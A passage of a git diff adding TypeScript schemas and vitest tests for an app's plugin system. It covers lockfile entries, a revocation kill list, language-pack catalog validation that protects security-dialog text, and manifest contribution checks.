+  if (/^[^\s@/:]+@[A-Za-z0-9.-]+:[^\s]+$/.test(url)) {
+    return true
+  }
+  try {
+    const parsed = new URL(url)
+    if (!parsed.hostname || parsed.password) {
+      return false
+    }
+    if (parsed.protocol === 'https:') {
+      return parsed.username.length === 0
+    }
+    return parsed.protocol === 'ssh:'
+  } catch {
+    return false
+  }
+}
+
+export const pluginLockEntrySchema = z
+  .object({
+    /** Qualified `<publisher>.<id>` key. */
+    pluginKey: z.string().refine(isQualifiedPluginKey, 'invalid qualified plugin key'),
+    version: z.string().min(1).max(128),
+    source: pluginInstallSourceSchema,
+    /** Commit the git source resolved to at install time; null for local. */
+    resolvedCommit: z.string().regex(PLUGIN_COMMIT_PATTERN).nullable(),
+    /** Deterministic hash of the installed file tree (also the install dir name). */
+    contentHash: z.string().regex(PLUGIN_CONTENT_HASH_PATTERN),
+    /** New descriptive name, accepted for forward compatibility. */
+    consentFingerprint: z.string().min(1).max(256).optional(),
+    /** v1 on-disk name retained so existing Orca builds can read new lockfiles. */
+    capabilityHash: z.string().min(1).max(256).optional(),
+    installedAt: z.number().finite().nonnegative()
+  })
+  .refine((entry) => entry.consentFingerprint || entry.capabilityHash, {
+    message: 'consent fingerprint is required'
+  })
+  .transform(({ capabilityHash, consentFingerprint, ...entry }) => ({
+    ...entry,
+    consentFingerprint: consentFingerprint ?? capabilityHash!
+  }))
+
+export type PluginLockEntry = z.infer<typeof pluginLockEntrySchema>
+
+export const pluginLockfileSchema = z
+  .object({
+    version: z.literal(1),
+    plugins: z.record(z.string(), pluginLockEntrySchema)
+  })
+  .superRefine((lock, ctx) => {
+    for (const [key, entry] of Object.entries(lock.plugins)) {
+      if (!isQualifiedPluginKey(key) || entry.pluginKey !== key) {
+        ctx.addIssue({
+          code: z.ZodIssueCode.custom,
+          path: ['plugins', key],
+          message: 'lockfile key must match its qualified plugin identity'
+        })
+      }
+    }
+  })
+
+export type PluginLockfile = z.infer<typeof pluginLockfileSchema>
+
+/**
+ * Lockfile v1 called this opaque value `capabilityHash`. Keep writing that
+ * field so rollback to an older host does not make the whole lockfile unreadable.
+ */
+export function serializePluginLockfile(lock: PluginLockfile): unknown {
+  return {
+    version: 1,
+    plugins: Object.fromEntries(
+      Object.entries(lock.plugins).map(([key, { consentFingerprint, ...entry }]) => [
+        key,
+        { ...entry, capabilityHash: consentFingerprint }
+      ])
+    )
+  }
+}
+
+export function emptyPluginLockfile(): PluginLockfile {
+  return { version: 1, plugins: {} }
+}
+
+export function upsertPluginLock(lock: PluginLockfile, entry: PluginLockEntry): PluginLockfile {
+  return { version: 1, plugins: { ...lock.plugins, [entry.pluginKey]: entry } }
+}
+
+export function removePluginLock(lock: PluginLockfile, pluginKey: string): PluginLockfile {
+  const plugins = { ...lock.plugins }
+  delete plugins[pluginKey]
+  return { version: 1, plugins }
+}
+
+export function parsePluginLockfile(raw: unknown): PluginLockfile {
+  const parsed = pluginLockfileSchema.safeParse(raw)
+  // A corrupt lockfile must not brick installs; integrity of installed trees
+  // is independently anchored by their hash-addressed directory names.
+  return parsed.success ? parsed.data : emptyPluginLockfile()
+}
diff --git a/src/shared/plugins/plugin-kill-list.test.ts b/src/shared/plugins/plugin-kill-list.test.ts
new file mode 100644
index 000000000..af3036f04
--- /dev/null
+++ b/src/shared/plugins/plugin-kill-list.test.ts
@@ -0,0 +1,89 @@
+import { describe, expect, it } from 'vitest'
+import {
+  PLUGIN_KILL_LIST_ENTRY_LIMIT,
+  findKilledPlugin,
+  killedPluginKeys,
+  pluginKillListSchema
+} from './plugin-kill-list'
+
+function entry(pluginKey = 'community.unsafe'): Record<string, unknown> {
+  return {
+    pluginKey,
+    reason: 'Known malicious release',
+    advisoryUrl: 'https://orca.example/security/unsafe'
+  }
+}
+
+describe('pluginKillListSchema', () => {
+  it('parses a strict versioned revocation document', () => {
+    const parsed = pluginKillListSchema.parse({
+      version: 1,
+      generatedAt: '2026-07-12T20:00:00Z',
+      plugins: [entry()]
+    })
+
+    expect(findKilledPlugin(parsed, 'community.unsafe')).toEqual(entry())
+    expect(killedPluginKeys(parsed)).toEqual(new Set(['community.unsafe']))
+  })
+
+  it.each([
+    {
+      version: 1,
+      generatedAt: '2026-07-12T20:00:00Z',
+      plugins: [],
+      unexpected: true
+    },
+    {
+      version: 1,
+      generatedAt: '2026-07-12T20:00:00Z',
+      plugins: [{ ...entry(), unexpected: true }]
+    },
+    {
+      version: 1,
+      generatedAt: 'not-a-date',
+      plugins: []
+    },
+    {
+      version: 1,
+      generatedAt: '2026-07-12T20:00:00Z',
+      plugins: [{ ...entry(), pluginKey: 'unsafe' }]
+    },
+    {
+      version: 1,
+      generatedAt: '2026-07-12T20:00:00Z',
+      plugins: [{ ...entry(), advisoryUrl: 'http://orca.example/advisory' }]
+    }
+  ])('rejects malformed or untrusted fields', (killList) => {
+    expect(pluginKillListSchema.safeParse(killList).success).toBe(false)
+  })
+
+  it('rejects duplicate killed plugin identities', () => {
+    const parsed = pluginKillListSchema.safeParse({
+      version: 1,
+      generatedAt: '2026-07-12T20:00:00Z',
+      plugins: [entry(), entry()]
+    })
+
+    expect(parsed.success).toBe(false)
+    if (!parsed.success) {
+      expect(parsed.error.issues).toEqual(
+        expect.arrayContaining([
+          expect.objectContaining({ message: 'duplicate killed plugin: community.unsafe' })
+        ])
+      )
+    }
+  })
+
+  it('caps the revocation document size by entry count', () => {
+    const plugins = Array.from({ length: PLUGIN_KILL_LIST_ENTRY_LIMIT + 1 }, (_, index) =>
+      entry(`publisher.plugin-${index}`)
+    )
+    expect(
+      pluginKillListSchema.safeParse({
+        version: 1,
+        generatedAt: '2026-07-12T20:00:00Z',
+        plugins
+      }).success
+    ).toBe(false)
+  })
+})
diff --git a/src/shared/plugins/plugin-kill-list.ts b/src/shared/plugins/plugin-kill-list.ts
new file mode 100644
index 000000000..5200cf992
--- /dev/null
+++ b/src/shared/plugins/plugin-kill-list.ts
@@ -0,0 +1,50 @@
+import { z } from 'zod'
+import { isQualifiedPluginKey } from './plugin-manifest'
+
+export const PLUGIN_KILL_LIST_ENTRY_LIMIT = 4_096
+
+const advisoryUrlSchema = z
+  .string()
+  .url()
+  .max(2_048)
+  .refine((value) => new URL(value).protocol === 'https:', 'advisory URL must use HTTPS')
+
+export const pluginKillListEntrySchema = z.strictObject({
+  pluginKey: z.string().refine(isQualifiedPluginKey, 'invalid qualified plugin key'),
+  reason: z.string().min(1).max(1_024),
+  advisoryUrl: advisoryUrlSchema.optional()
+})
+
+export const pluginKillListSchema = z
+  .strictObject({
+    version: z.literal(1),
+    generatedAt: z.string().datetime({ offset: true }),
+    plugins: z.array(pluginKillListEntrySchema).max(PLUGIN_KILL_LIST_ENTRY_LIMIT)
+  })
+  .superRefine((killList, context) => {
+    const seen = new Set<string>()
+    for (const [index, plugin] of killList.plugins.entries()) {
+      if (seen.has(plugin.pluginKey)) {
+        context.addIssue({
+          code: z.ZodIssueCode.custom,
+          path: ['plugins', index, 'pluginKey'],
+          message: `duplicate killed plugin: ${plugin.pluginKey}`
+        })
+      }
+      seen.add(plugin.pluginKey)
+    }
+  })
+
+export type PluginKillList = z.infer<typeof pluginKillListSchema>
+export type PluginKillListEntry = z.infer<typeof pluginKillListEntrySchema>
+
+export function killedPluginKeys(killList: PluginKillList): ReadonlySet<string> {
+  return new Set(killList.plugins.map((plugin) => plugin.pluginKey))
+}
+
+export function findKilledPlugin(
+  killList: PluginKillList,
+  pluginKey: string
+): PluginKillListEntry | null {
+  return killList.plugins.find((plugin) => plugin.pluginKey === pluginKey) ?? null
+}
diff --git a/src/shared/plugins/plugin-language-pack-artifact.test.ts b/src/shared/plugins/plugin-language-pack-artifact.test.ts
new file mode 100644
index 000000000..7c311b9a9
--- /dev/null
+++ b/src/shared/plugins/plugin-language-pack-artifact.test.ts
@@ -0,0 +1,76 @@
+import { describe, expect, it } from 'vitest'
+import {
+  parsePluginLanguagePackArtifact,
+  PLUGIN_LANGUAGE_CATALOG_MAX_DEPTH,
+  pluginLanguageResourceId
+} from './plugin-language-pack-artifact'
+
+describe('plugin language-pack artifacts', () => {
+  it('maps qualified IDs to distinct alphanumeric i18next resource languages', () => {
+    const first = pluginLanguageResourceId('plugin:a.bc/d-ef')
+    const second = pluginLanguageResourceId('plugin:ab.c/de-f')
+
+    expect(first).toMatch(/^plugin[0-9a-f]+$/)
+    expect(second).toMatch(/^plugin[0-9a-f]+$/)
+    expect(first).not.toBe(second)
+  })
+
+  it('accepts nested string catalogs and reports their bounded entry count', () => {
+    expect(
+      parsePluginLanguagePackArtifact(
+        JSON.stringify({
+          settings: { appearance: { title: 'Aparência' } },
+          common: { save: 'Salvar' }
+        })
+      )
+    ).toEqual({
+      ok: true,
+      catalog: {
+        settings: { appearance: { title: 'Aparência' } },
+        common: { save: 'Salvar' }
+      },
+      entries: 5
+    })
+  })
+
+  it.each([
+    'PluginConsentDialog',
+    'PluginKeybindingConsentPreview',
+    'PluginMarketplaceListingRow',
+    'PluginMarketplacePreviewDialog',
+    'PluginMarketplaceSourceDialog',
+    'PluginVmRecipeConsentPreview'
+  ])('prevents language packs from rewriting %s security copy', (component) => {
+    expect(
+      parsePluginLanguagePackArtifact(
+        JSON.stringify({
+          auto: {
+            components: {
+              settings: { [component]: { disclaimer: 'This plugin is perfectly safe.' } }
+            }
+          }
+        })
+      )
+    ).toMatchObject({ ok: false, error: expect.stringContaining('protected security copy') })
+  })
+
+  it.each([
+    ['array leaf', { settings: { choices: ['one'] } }],
+    ['numeric leaf', { settings: { count: 1 } }],
+    ['dotted key', { 'settings.title': 'Title' }],
+    ['prototype key', JSON.parse('{"__proto__":"bad"}')]
+  ])('rejects %s', (_label, catalog) => {
+    expect(parsePluginLanguagePackArtifact(JSON.stringify(catalog)).ok).toBe(false)
+  })
+
+  it('rejects excessive nesting without recursive validation', () => {
+    let catalog: Record<string, unknown> = { value: 'deep' }
+    for (let index = 0; index <= PLUGIN_LANGUAGE_CATALOG_MAX_DEPTH; index += 1) {
+      catalog = { nested: catalog }
+    }
+    expect(parsePluginLanguagePackArtifact(JSON.stringify(catalog))).toMatchObject({
+      ok: false,
+      error: expect.stringContaining('depth')
+    })
+  })
+})
diff --git a/src/shared/plugins/plugin-language-pack-artifact.ts b/src/shared/plugins/plugin-language-pack-artifact.ts
new file mode 100644
index 000000000..6932403d7
--- /dev/null
+++ b/src/shared/plugins/plugin-language-pack-artifact.ts
@@ -0,0 +1,118 @@
+export const PLUGIN_LANGUAGE_CATALOG_MAX_ENTRIES = 20_000
+export const PLUGIN_LANGUAGE_CATALOG_MAX_DEPTH = 16
+
+const DANGEROUS_CATALOG_KEYS = new Set(['__proto__', 'prototype', 'constructor'])
+const PROTECTED_TRANSLATION_PREFIXES = [
+  'auto.components.settings.PluginConsentDialog',
+  'auto.components.settings.PluginInstallDialog',
+  'auto.components.settings.PluginKeybindingConsentPreview',
+  'auto.components.settings.PluginMarketplaceBrowser',
+  'auto.components.settings.PluginMarketplaceListingRow',
+  'auto.components.settings.PluginMarketplacePreviewDialog',
+  'auto.components.settings.PluginMarketplaceSourceDialog',
+  'auto.components.settings.PluginRemoveDialog',
+  'auto.components.settings.PluginRollbackDialog',
+  'auto.components.settings.PluginSettingsRow',
+  'auto.components.settings.PluginVmRecipeConsentPreview',
+  'auto.components.settings.PluginsSettingsSection'
+]
+
+export type PluginLanguagePackRegistration = {
+  id: `plugin:${string}`
+  resourceLanguage: `plugin${string}`
+  pluginKey: string
+  locale: string
+  catalog: Record<string, unknown>
+}
+
+export function pluginLanguageResourceId(id: `plugin:${string}`): `plugin${string}` {
+  let encoded = ''
+  for (let index = 0; index < id.length; index += 1) {
+    encoded += id.charCodeAt(index).toString(16).padStart(4, '0')
+  }
+  // Why: i18next parses punctuation in language tags during resource lookup;
+  // fixed-width UTF-16 hex preserves a collision-free qualified-ID mapping.
+  return `plugin${encoded}`
+}
+
+export type PluginLanguagePackParseResult =
+  | { ok: true; catalog: Record<string, unknown>; entries: number }
+  | { ok: false; error: string }
+
+type CatalogFrame = {
+  source: Record<string, unknown>
+  target: Record<string, unknown>
+  path: string
+  depth: number
+}
+
+function isCatalogObject(value: unknown): value is Record<string, unknown> {
+  return typeof value === 'object' && value !== null && !Array.isArray(value)
+}
+
+function protectedTranslation(path: string): boolean {
+  return PROTECTED_TRANSLATION_PREFIXES.some(
+    (prefix) => path === prefix || path.startsWith(`${prefix}.`)
+  )
+}
+
+function hasUnsafeCatalogKeyCharacter(key: string): boolean {
+  return key.includes('.') || Array.from(key).some((character) => character.charCodeAt(0) <= 31)
+}
+
+export function parsePluginLanguagePackArtifact(raw: string): PluginLanguagePackParseResult {
+  let json: unknown
+  try {
+    json = JSON.parse(raw)
+  } catch {
+    return { ok: false, error: 'language pack must contain one JSON object' }
+  }
+  if (!isCatalogObject(json)) {
+    return { ok: false, error: 'language pack root must be an object' }
+  }
+
+  const catalog: Record<string, unknown> = {}
+  const stack: CatalogFrame[] = [{ source: json, target: catalog, path: '', depth: 0 }]
+  let entries = 0
+  while (stack.length > 0) {
+    const frame = stack.pop()!
+    if (frame.depth > PLUGIN_LANGUAGE_CATALOG_MAX_DEPTH) {
+      return { ok: false, error: `catalog exceeds depth ${PLUGIN_LANGUAGE_CATALOG_MAX_DEPTH}` }
+    }
+    for (const [key, value] of Object.entries(frame.source)) {
+      entries += 1
+      if (entries > PLUGIN_LANGUAGE_CATALOG_MAX_ENTRIES) {
+        return {
+          ok: false,
+          error: `catalog exceeds ${PLUGIN_LANGUAGE_CATALOG_MAX_ENTRIES} entries`
+        }
+      }
+      if (
+        key.length === 0 ||
+        key.length > 128 ||
+        DANGEROUS_CATALOG_KEYS.has(key) ||
+        hasUnsafeCatalogKeyCharacter(key)
+      ) {
+        return { ok: false, error: `catalog key ${key || '(empty)'} is not safe` }
+      }
+      const path = frame.path ? `${frame.path}.${key}` : key
+      if (protectedTranslation(path)) {
+        return { ok: false, error: `catalog cannot replace protected security copy at ${path}` }
+      }
+      if (typeof value === 'string') {
+        if (value.length > 8192) {
+          return { ok: false, error: `translation at ${path} exceeds 8192 characters` }
+        }
+        frame.target[key] = value
+        continue
+      }
+      if (!isCatalogObject(value)) {
+        return { ok: false, error: `translation at ${path} must be a string or object` }
+      }
+      const child: Record<string, unknown> = {}
+      frame.target[key] = child
+      stack.push({ source: value, target: child, path, depth: frame.depth + 1 })
+    }
+  }
+  return { ok: true, catalog, entries }
+}
diff --git a/src/shared/plugins/plugin-manifest-contribution-validation.ts b/src/shared/plugins/plugin-manifest-contribution-validation.ts
new file mode 100644
index 000000000..3c0604826
--- /dev/null
+++ b/src/shared/plugins/plugin-manifest-contribution-validation.ts
@@ -0,0 +1,144 @@
+import type { RefinementCtx } from 'zod'
+import { isPluginCommandAliasActionId } from './plugin-command-actions'
+import { getKeybindingConflictIdentity } from '../keybindings'
+
+type IdentifiedContribution = { id: string }
+type PathContribution = { path: string }
+
+type ContributionValidationManifest = {
+  main?: string
+  contributes: {
+    panels: IdentifiedContribution[]
+    commands: (IdentifiedContribution & { action?: string; context?: 'global' | 'worktree' })[]
+    events: { on: string }[]
+    languagePacks: { locale: string }[]
+    keybindings: { command: string; key: string; when?: 'global' | 'worktree' }[]
+    vmRecipes: PathContribution[]
+    agents: PathContribution[]
+  }
+  capabilities: { kind: string }[]
+}
+
+function rejectDuplicateValues(
+  entries: readonly unknown[],
+  valueOf: (entry: unknown) => string,
+  path: string,
+  label: string,
+  ctx: RefinementCtx
+): void {
+  const seen = new Set<string>()
+  for (const [index, entry] of entries.entries()) {
+    const value = valueOf(entry)
+    if (seen.has(value)) {
+      ctx.addIssue({
+        code: 'custom',
+        path: ['contributes', path, index],
+        message: `duplicate ${label}: ${value}`
+      })
+    }
+    seen.add(value)
+  }
+}
+
+export function validatePluginManifestContributions(
+  manifest: ContributionValidationManifest,
+  ctx: RefinementCtx
+): void {
+  for (const path of ['panels', 'commands'] as const) {
+    rejectDuplicateValues(
+      manifest.contributes[path],
+      (entry) => (entry as IdentifiedContribution).id,
+      path,
+      `${path} id`,
+      ctx
+    )
+  }
+  rejectDuplicateValues(
+    manifest.contributes.languagePacks,
+    (entry) => (entry as { locale: string }).locale.toLowerCase(),
+    'languagePacks',
+    'language pack locale',
+    ctx
+  )
+  for (const path of ['vmRecipes', 'agents'] as const) {
+    rejectDuplicateValues(
+      manifest.contributes[path],
+      (entry) => (entry as PathContribution).path,
+      path,
+      `${path} path`,
+      ctx
+    )
+  }
+  const keybindingIdentities = new Set<string>()
+  for (const [index, keybinding] of manifest.contributes.keybindings.entries()) {
+    const identities = (['darwin', 'linux', 'win32'] as const).map((platform) =>
+      getKeybindingConflictIdentity(keybinding.key, platform)
+    )
+    if (identities.some((identity) => keybindingIdentities.has(identity))) {
+      ctx.addIssue({
+        code: 'custom',
+        path: ['contributes', 'keybindings', index],
+        message: `duplicate keybinding: ${keybinding.key.toLowerCase()}`
+      })
+    }
+    identities.forEach((identity) => keybindingIdentities.add(identity))
+  }
+
+  const commands = new Map(manifest.contributes.commands.map((command) => [command.id, command]))
+  for (const [index, command] of manifest.contributes.commands.entries()) {
+    if (command.action !== undefined && !isPluginCommandAliasActionId(command.action)) {
+      ctx.addIssue({
+        code: 'custom',
+        path: ['contributes', 'commands', index, 'action'],
+        message: `unknown built-in action: ${command.action}`
+      })
+    }
+  }
+  for (const [index, keybinding] of manifest.contributes.keybindings.entries()) {
+    const command = commands.get(keybinding.command)
+    if (!command) {
+      ctx.addIssue({
+        code: 'custom',
+        path: ['contributes', 'keybindings', index, 'command'],
+        message: `unknown contributed command: ${keybinding.command}`
+      })
+      continue
+    }
+    const commandContext = command.context ?? 'global'
+    if (keybinding.when !== undefined && keybinding.when !== commandContext) {
+      ctx.addIssue({
+        code: 'custom',
+        path: ['contributes', 'keybindings', index, 'when'],
+        message: 'keybinding context must match its command context'
+      })
+    }
+  }
+
+  if (
+    !manifest.main &&
+    manifest.contributes.commands.some((command) => command.action === undefined)
+  ) {
+    ctx.addIssue({
+      code: 'custom',
+      path: ['main'],
+      message: 'required when contributes.commands contains a worker command'
+    })
+  }
+  if (!manifest.main && manifest.contributes.events.length > 0) {
+    ctx.addIssue({
+      code: 'custom',
+      path: ['main'],
+      message: 'required when contributes.events is non-empty'
+    })
+  }
+  if (
+    manifest.contributes.events.length > 0 &&
+    !manifest.capabilities.some((capability) => capability.kind === 'events:subscribe')
+  ) {
+    ctx.addIssue({
+      code: 'custom',
+      path: ['capabilities'],
+      message: 'events:subscribe capability required when contributes.events is non-empty'
+    })
+  }
+}
diff --git a/src/shared/plugins/plugin-manifest-fields.ts b/src/shared/plugins/plugin-manifest-fields.ts
new file mode 100644
index 000000000..9370d6389
--- /dev/null
+++ b/src/shared/plugins/plugin-manifest-fields.ts
@@ -0,0 +1,47 @@
+import { z } from 'zod'
+import { isSafePluginRelativePath } from './plugin-path-safety'
+
+const PLUGIN_ID_RE = /^[a-z0-9]+(?:-[a-z0-9]+)*$/
+const DANGEROUS_PLUGIN_NAMES = new Set(['__proto__', 'prototype', 'constructor'])
+
+export const PLUGIN_ID_MAX_LENGTH = 64
+
+export function isSafePluginId(id: string): boolean {
+  return (
+    typeof id === 'string' &&
+    id.length <= PLUGIN_ID_MAX_LENGTH &&
+    PLUGIN_ID_RE.test(id) &&
+    !DANGEROUS_PLUGIN_NAMES.has(id)
+  )
+}
+
+export const pluginIdSchema = z
+  .string()
+  .refine(isSafePluginId, 'must be kebab-case (a-z, 0-9, dashes) and not a reserved name')
+
+// Why: every declared artifact stays inside the immutable plugin root; realpath
+// containment separately rejects symlink escapes when the artifact is read.
+export const pluginRelativePathSchema = z
+  .string()
+  .min(1)
+  .max(1024)
+  .refine(isSafePluginRelativePath, 'must be a portable relative path inside the plugin directory')
+
+// Directory contributions accept the conventional trailing slash but store a
+// canonical path so hashing, materialization, and cleanup use one identity.
+export const pluginRelativeDirectorySchema = z
+  .string()
+  .min(1)
+  .max(1024)
+  .transform((value) => value.replace(/[\\/]+$/, ''))
+  .refine(isSafePluginRelativePath, 'must be a portable relative path inside the plugin directory')
+
+export const pluginCommandIdSchema = z
+  .string()
+  .min(1)
+  .max(256)
+  .regex(/^[A-Za-z0-9]+(?:[._-][A-Za-z0-9]+)*$/, 'must be a portable command id')
+
+export function isPluginManifestId(value: string): boolean {
+  return PLUGIN_ID_RE.test(value)
+}
diff --git a/src/shared/plugins/plugin-manifest.test.ts b/src/shared/plugins/plugin-manifest.test.ts
new file mode 100644
index 000000000..2b40c3448
--- /dev/null
+++ b/src/shared/plugins/plugin-manifest.test.ts
@@ -0,0 +1,90 @@
+import { describe, expect, it } from 'vitest'
+import {
+  PLUGIN_COMMAND_LIMIT,
+  PLUGIN_ID_MAX_LENGTH,
+  parsePluginManifest,
+  pluginManifestSchema
+} from './plugin-manifest'
+
+function manifest(overrides: Record<string, unknown> = {}): Record<string, unknown> {
+  return {
+    manifestVersion: 1,
+    id: 'demo',
+    publisher: 'orca-samples',
+    name: 'Demo',
+    version: '1.0.0',
+    engines: { orca: '>=1.0.0' },
+    pluginApi: 1,
+    contributes: { panels: [], commands: [], events: [] },
+    capabilities: [],
+    ...overrides
+  }
+}
+
+describe('pluginManifestSchema boundaries', () => {
+  it('accepts documented dotted command namespaces with camel-case actions', () => {
+    const result = parsePluginManifest(
+      manifest({
+        main: 'main.mjs',
+        contributes: {
+          panels: [],
+          commands: [{ id: 'jupyter.restartKernel', title: 'Restart kernel' }],
+          events: []
+        }
+      })
+    )
+
+    expect(result).toMatchObject({ ok: true })
+  })
+
+  it('rejects oversized identities and invalid semantic versions', () => {
+    expect(parsePluginManifest(manifest({ id: 'a'.repeat(PLUGIN_ID_MAX_LENGTH + 1) })).ok).toBe(
+      false
+    )
+    expect(parsePluginManifest(manifest({ version: '01.0.0' })).ok).toBe(false)
+    expect(parsePluginManifest(manifest({ version: '1.0' })).ok).toBe(false)
+    expect(parsePluginManifest(manifest({ version: '1.0.0-01' })).ok).toBe(false)
+    expect(parsePluginManifest(manifest({ version: '1.0.0-alpha.1+build.5' })).ok).toBe(true)
+  })
+
+  it('rejects duplicate contribution ids', () => {
+    const parsed = pluginManifestSchema.safeParse(
+      manifest({
+        main: 'main.mjs',
+        contributes: {
+          panels: [
+            { id: 'dashboard', title: 'One', entry: 'one.html' },
+            { id: 'dashboard', title: 'Two', entry: 'two.html' }
+          ],
+          commands: [
+            { id: 'run', title: 'One' },
+            { id: 'run', title: 'Two' }
+          ],
+          events: []
+        }
+      })
+    )
+
+    expect(parsed.success).toBe(false)
+    if (!parsed.success) {
+      expect(parsed.error.issues.map((issue) => issue.message)).toEqual(
+        expect.arrayContaining(['duplicate panels id: dashboard', 'duplicate commands id: run'])
+      )
+    }
+  })
+
+  it('caps contribution arrays before they reach renderer or worker registries', () => {
+    const commands = Array.from({ length: PLUGIN_COMMAND_LIMIT + 1 }, (_, index) => ({
+      id: `command-${index}`,
+      title: `Command ${index}`
+    }))
+    expect(
+      parsePluginManifest(
+        manifest({
+          main: 'main.mjs',
+          contributes: { panels: [], commands, events: [] }
+        })
+      ).ok
+    ).toBe(false)
+  })
+})
diff --git a/src/shared/plugins/plugin-manifest.ts b/src/shared/plugins/plugin-manifest.ts
new file mode 100644
index 000000000..2a82275cd
--- /dev/null
+++ b/src/shared/plugins/plugin-manifest.ts
@@ -0,0 +1,214 @@
+import { z } from 'zod'
+import { pluginCapabilitySchema } from './plugin-capabilities'
+import {
+  PLUGIN_AGENT_PROFILE_LIMIT,
+  PLUGIN_KEYBINDING_LIMIT,
+  PLUGIN_LANGUAGE_PACK_LIMIT,
+  PLUGIN_VM_RECIPE_LIMIT,
+  pluginAgentProfileContributionSchema,
+  pluginKeybindingContributionSchema,
+  pluginLanguagePackContributionSchema,
+  pluginVmRecipeContributionSchema
+} from './plugin-content-pack-contributions'
+import {
+  isPluginManifestId,
+  isSafePluginId,
+  pluginCommandIdSchema,
+  pluginIdSchema,
+  pluginRelativePathSchema
+} from './plugin-manifest-fields'
+import { validatePluginManifestContributions } from './plugin-manifest-contribution-validation'
+
+/**
+ * Plugin manifest v1 (`orca-plugin.json` at the plugin root). The
+ * `contributes` key names deliberately mirror common Electron-ecosystem
+ * manifest conventions so future adapters stay cheap.
+ *
+ * Lives in `shared` so the desktop app, the headless `orca serve` runtime,
+ * the relay, and the CLI validate manifests identically (SSH/remote parity).
+ *
+ * Everything here is EXPERIMENTAL: no compatibility promises until pluginApi
+ * v1 freezes (see the plugin roadmap).
+ */
+
+const SEMVER_RE =
+  /^(?:0|[1-9]\d*)\.(?:0|[1-9]\d*)\.(?:0|[1-9]\d*)(?:-(?:0|[1-9]\d*|\d*[A-Za-z-][0-9A-Za-z-]*)(?:\.(?:0|[1-9]\d*|\d*[A-Za-z-][0-9A-Za-z-]*))*)?(?:\+[0-9A-Za-z-]+(?:\.[0-9A-Za-z-]+)*)?$/
+export const PLUGIN_PANEL_LIMIT = 64
+export const PLUGIN_COMMAND_LIMIT = 256
+
+// Why: v0 supports only the ">=x.y.z" form. A closed grammar keeps the gate
+// predictable; richer ranges can be added without breaking old manifests.
+const orcaEngineRangeSchema = z
+  .string()
+  .max(64)
+  .regex(/^>=\d+\.\d+\.\d+$/, 'must be a ">=x.y.z" version range')
+
+const panelContributionSchema = z.object({
+  id: pluginIdSchema,
+  title: z.string().min(1).max(256),
+  /** Lucide icon name rendered in the right-sidebar activity bar. */
+  icon: z.string().min(1).max(64).optional(),
+  /** HTML entry rendered inside a sandboxed panel frame. */
+  entry: pluginRelativePathSchema
+})
+
+const commandContributionSchema = z.object({
+  id: pluginCommandIdSchema,
+  title: z.string().min(1).max(256),
+  context: z.enum(['global', 'worktree']).optional(),
+  /** Built-in action aliases remain declarative and do not activate a worker. */
+  action: pluginCommandIdSchema.optional()
+})
+
+/** Domain events a plugin can subscribe to in v0. Closed set: server-side
+ *  filtering means plugins only ever receive what they subscribed to. */
+export const PLUGIN_EVENT_NAMES = [
+  'worktree.created',
+  'worktree.removed',
+  'agent.status.changed'
+] as const
+export const PLUGIN_EVENT_SUBSCRIPTION_LIMIT = PLUGIN_EVENT_NAMES.length
+
+export type PluginEventName = (typeof PLUGIN_EVENT_NAMES)[number]
+
+const eventContributionSchema = z.object({
+  on: z.enum(PLUGIN_EVENT_NAMES)
+})
+
+export const pluginManifestSchema = z
+  .object({
+    manifestVersion: z.literal(1),
+    id: pluginIdSchema,
+    /** Publisher slug; canonical identity is `<publisher>.<id>` — bare-id
+     *  global uniqueness is unverifiable without a registry. */
+    publisher: pluginIdSchema,
+    name: z.string().min(1).max(256),
+    version: z.string().regex(SEMVER_RE, 'must be semver'),
+    description: z.string().max(4096).optional(),
+    author: z
+      .object({ name: z.string().min(1).max(256), url: z.string().max(2048).optional() })
+      .optional(),
+    repository: z.string().max(2048).optional(),
+    icon: pluginRelativePathSchema.optional(),
+    /** Minimum host version gate; the host refuses to load below it. */
+    engines: z.object({ orca: orcaEngineRangeSchema }),
+    /** Host-API major version this plugin targets. */
+    pluginApi: z.literal(1),
+    /** Node entry executed inside the out-of-process plugin worker. */
+    main: pluginRelativePathSchema.optional(),
+    contributes: z
+      .object({
+        panels: z.array(panelContributionSchema).max(PLUGIN_PANEL_LIMIT).default([]),
+        commands: z.array(commandContributionSchema).max(PLUGIN_COMMAND_LIMIT).default([]),
+        events: z.array(eventContributionSchema).max(PLUGIN_EVENT_SUBSCRIPTION_LIMIT).default([]),
+        languagePacks: z
+          .array(pluginLanguagePackContributionSchema)
+          .max(PLUGIN_LANGUAGE_PACK_LIMIT)
+          .default([]),
+        keybindings: z
+          .array(pluginKeybindingContributionSchema)
+          .max(PLUGIN_KEYBINDING_LIMIT)
+          .default([]),
+        vmRecipes: z
+          .array(pluginVmRecipeContributionSchema)
+          .max(PLUGIN_VM_RECIPE_LIMIT)
+          .default([]),
+        agents: z
+          .array(pluginAgentProfileContributionSchema)
+          .max(PLUGIN_AGENT_PROFILE_LIMIT)
+          .default([])
+      })
+      .strict()
+      .default(() => ({
+        panels: [],
+        commands: [],
+        events: [],
+        languagePacks: [],
+        keybindings: [],
+        vmRecipes: [],
+        agents: []
+      })),
+    capabilities: z.array(pluginCapabilitySchema).max(32).default([])
+  })
+  .superRefine(validatePluginManifestContributions)
+
+export type PluginManifest = z.infer<typeof pluginManifestSchema>
+export type PluginPanelContribution = z.infer<typeof panelContributionSchema>
+export type PluginCommandContribution = z.infer<typeof commandContributionSchema>
+export type PluginEventContribution = z.infer<typeof eventContributionSchema>
+
+export {
+  isSafePluginId,
+  PLUGIN_ID_MAX_LENGTH,
+  pluginCommandIdSchema
+} from './plugin-manifest-fields'
+
+export const PLUGIN_MANIFEST_FILENAME = 'orca-plugin.json'
+
+/** Canonical install identity: `<publisher>.<id>` (also the install dir name). */
+export function qualifiedPluginKey(manifest: Pick<PluginManifest, 'publisher' | 'id'>): string {
+  return `${manifest.publisher}.${manifest.id}`
+}
+
+export function isQualifiedPluginKey(value: string): boolean {
+  const parts = value.split('.')
+  if (parts.length !== 2) {
+    return false
+  }
+  return isSafePluginId(parts[0]!) && isSafePluginId(parts[1]!)
+}
+
+export type PluginManifestParseResult =
+  | { ok: true; manifest: PluginManifest }
+  | { ok: false; error: string }
+
+export function parsePluginManifest(raw: unknown): PluginManifestParseResult {
+  const parsed = pluginManifestSchema.safeParse(raw)
+  if (parsed.success) {
+    return { ok: true, manifest: parsed.data }
+  }
+  const issue = parsed.error.issues[0]
+  const path = issue?.path.join('.') || '(root)'
+  return { ok: false, error: `${path}: ${issue?.message ?? 'invalid manifest'}` }
+}
+
+/** v0 engines gate: supports the ">=x.y.z" grammar the schema enforces.
+ *  Prerelease/build suffixes on the host version are ignored for ordering. */
